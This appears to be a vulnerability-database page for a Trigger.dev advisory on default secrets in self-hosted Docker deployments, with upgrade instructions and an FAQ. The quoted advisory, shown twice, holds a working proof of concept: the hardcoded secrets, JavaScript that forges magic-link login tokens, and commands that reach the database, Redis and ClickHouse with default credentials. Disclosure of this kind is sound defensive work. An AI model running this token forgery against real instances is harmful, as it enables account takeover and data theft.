GHSA-pqxw-g93w-hj9x: Trigger.dev Default Secrets Allow Unauthenticated Infrastructure Vulnerability

HIGH
CWE-1393 CWE-653
Published
Advisory Summary

GHSA-pqxw-g93w-hj9x is a HIGH default secrets allow unauthenticated infrastructure vulnerability (CWE-1393: Use of Default Password) affecting Trigger.dev libraries in the npm ecosystem. The issue involves default secrets allow unauthenticated infrastructure compromise. Remediation is available by upgrading affected packages to version 4.5.6.

GHSA-pqxw-g93w-hj9x at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-pqxw-g93w-hj9x
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1393: Use of Default Password
Affected Product Trigger.dev
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-pqxw-g93w-hj9x

To remediate this vulnerability, upgrade all affected Trigger.dev dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

trigger.dev fixed: 4.5.6
npm install trigger.dev@4.5.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls trigger.dev

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-pqxw-g93w-hj9x, inspect your project dependencies using npm:

npm ls trigger.dev

Analyze the terminal output to locate any version of Trigger.dev in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.6), your application is affected.

Note: The npm ls trigger.dev command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1393: Use of Default Password, where the product uses default passwords for potentially critical functionality. In Trigger.dev, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise. ## Vulnerability Details The `hosting/docker/.env.example` file contains hardcoded cryptographic secrets: ``` SESSION_SECRET=2818143646516f6fffd707b36f334bbb MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f ``` The `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted). ## Steps to Reproduce ### Setup ```bash cd hosting/docker && cp .env.example .env cd webapp && docker compose up -d cd ../worker && docker compose up -d ``` ### Step 1: Forge magic link token ```javascript const CryptoJS = require('crypto-js'); const secret = '44da78b7bbb0dfe709cf38931d25dcdd'; const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()}); const token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString()); console.log('https://target:8030/magic?token=' + token); ``` ### Step 2: Authenticate via forged magic link ```bash curl -v "http://localhost:8030/magic?token=" # Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=... # User auto-created, session cookie set, redirects to /orgs/new ``` ### Step 3: Verify database access from runner network ```bash docker run --rm --network webapp postgres:14 psql "postgresql://postgres:unsafe-postgres-pw@postgres:5432/main" -c "SELECT id, email FROM \"User\";" # Returns: cmph790qf0004tn55ec7lyq7a | attacker@evil.com ``` ### Step 4: Verify Redis access (no auth) ```bash docker run --rm --network webapp redis:7 redis-cli -h redis PING # Returns: PONG ``` ### Step 5: Verify ClickHouse access ```bash docker run --rm --network webapp curlimages/curl curl -s "http://default:password@clickhouse:8123/?query=SELECT%20version()" # Returns: 25.5.2.47 ``` ## Root Cause 1. Hardcoded secrets in `hosting/docker/.env.example` (lines 9-12) 2. Runner containers placed on infrastructure networks: `DOCKER_RUNNER_NETWORKS: webapp,supervisor` in `hosting/docker/worker/docker-compose.yml:42` 3. Default credentials on all infrastructure services 4. No Redis authentication 5. SESSION_SECRET reused for JWT signing (`apps/webapp/app/services/apiAuth.server.ts:616`) and impersonation tokens ## Impact Complete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.

GHSA-pqxw-g93w-hj9x Affected Trigger.dev Versions

1 component(s)
Fixed Versions:
4.5.6
Product / Package Ecosystem Affected Versions Fixed Version
trigger.dev
npm
< 4.5.6
4.5.6

References

Frequently Asked Questions

What is GHSA-pqxw-g93w-hj9x?
GHSA-pqxw-g93w-hj9x is a security vulnerability in Trigger.dev involving Default Secrets allow Unauthenticated Infrastructure Compromise under CWE-1393: Use of Default Password.
Which Trigger.dev versions are affected?
Affected versions include releases prior to 4.5.6 across affected packages: trigger.dev.
What version fixes GHSA-pqxw-g93w-hj9x?
Upgrading to 4.5.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is trigger.dev affected?
Yes, trigger.dev is affected in releases prior to 4.5.6. Upgrade your dependency to 4.5.6 or later.
What CWE is associated with GHSA-pqxw-g93w-hj9x?
GHSA-pqxw-g93w-hj9x is classified under CWE-1393: Use of Default Password (The product uses default passwords for potentially critical functionality.).
How can I check npm dependencies for GHSA-pqxw-g93w-hj9x?
Run the dependency tree command: 'npm ls trigger.dev'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pqxw-g93w-hj9x",
  "modified" : "2026-10-02T22:42:06Z",
  "published" : "2026-10-02T22:39:48Z",
  "aliases" : [ ],
  "summary" : "Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise",
  "details" : "## Summary\n\nSelf-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise.\n\n## Vulnerability Details\n\nThe `hosting/docker/.env.example` file contains hardcoded cryptographic secrets:\n\n```\nSESSION_SECRET=2818143646516f6fffd707b36f334bbb\nMAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd\nENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a\nMANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f\n```\n\nThe `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted).\n\n## Steps to Reproduce\n\n### Setup\n```bash\ncd hosting/docker && cp .env.example .env\ncd webapp && docker compose up -d\ncd ../worker && docker compose up -d\n```\n\n### Step 1: Forge magic link token\n```javascript\nconst CryptoJS = require('crypto-js');\nconst secret = '44da78b7bbb0dfe709cf38931d25dcdd';\nconst payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()});\nconst token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString());\nconsole.log('https://target:8030/magic?token=' + token);\n```\n\n### Step 2: Authenticate via forged magic link\n```bash\ncurl -v \"http://localhost:8030/magic?token=\"\n# Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=...\n# User auto-created, session cookie set, redirects to /orgs/new\n```\n\n### Step 3: Verify database access from runner network\n```bash\ndocker run --rm --network webapp postgres:14 psql \"postgresql://postgres:unsafe-postgres-pw@postgres:5432/main\" -c \"SELECT id, email FROM \\\"User\\\";\"\n# Returns: cmph790qf0004tn55ec7lyq7a | attacker@evil.com\n```\n\n### Step 4: Verify Redis access (no auth)\n```bash\ndocker run --rm --network webapp redis:7 redis-cli -h redis PING\n# Returns: PONG\n```\n\n### Step 5: Verify ClickHouse access\n```bash\ndocker run --rm --network webapp curlimages/curl curl -s \"http://default:password@clickhouse:8123/?query=SELECT%20version()\"\n# Returns: 25.5.2.47\n```\n\n## Root Cause\n\n1. Hardcoded secrets in `hosting/docker/.env.example` (lines 9-12)\n2. Runner containers placed on infrastructure networks: `DOCKER_RUNNER_NETWORKS: webapp,supervisor` in `hosting/docker/worker/docker-compose.yml:42`\n3. Default credentials on all infrastructure services\n4. No Redis authentication\n5. SESSION_SECRET reused for JWT signing (`apps/webapp/app/services/apiAuth.server.ts:616`) and impersonation tokens\n\n## Impact\n\nComplete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "trigger.dev"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-pqxw-g93w-hj9x"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/pull/4316"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/triggerdotdev/trigger.dev"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1393", "CWE-653" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-02T22:39:48Z",
    "nvd_published_at" : null
  }
}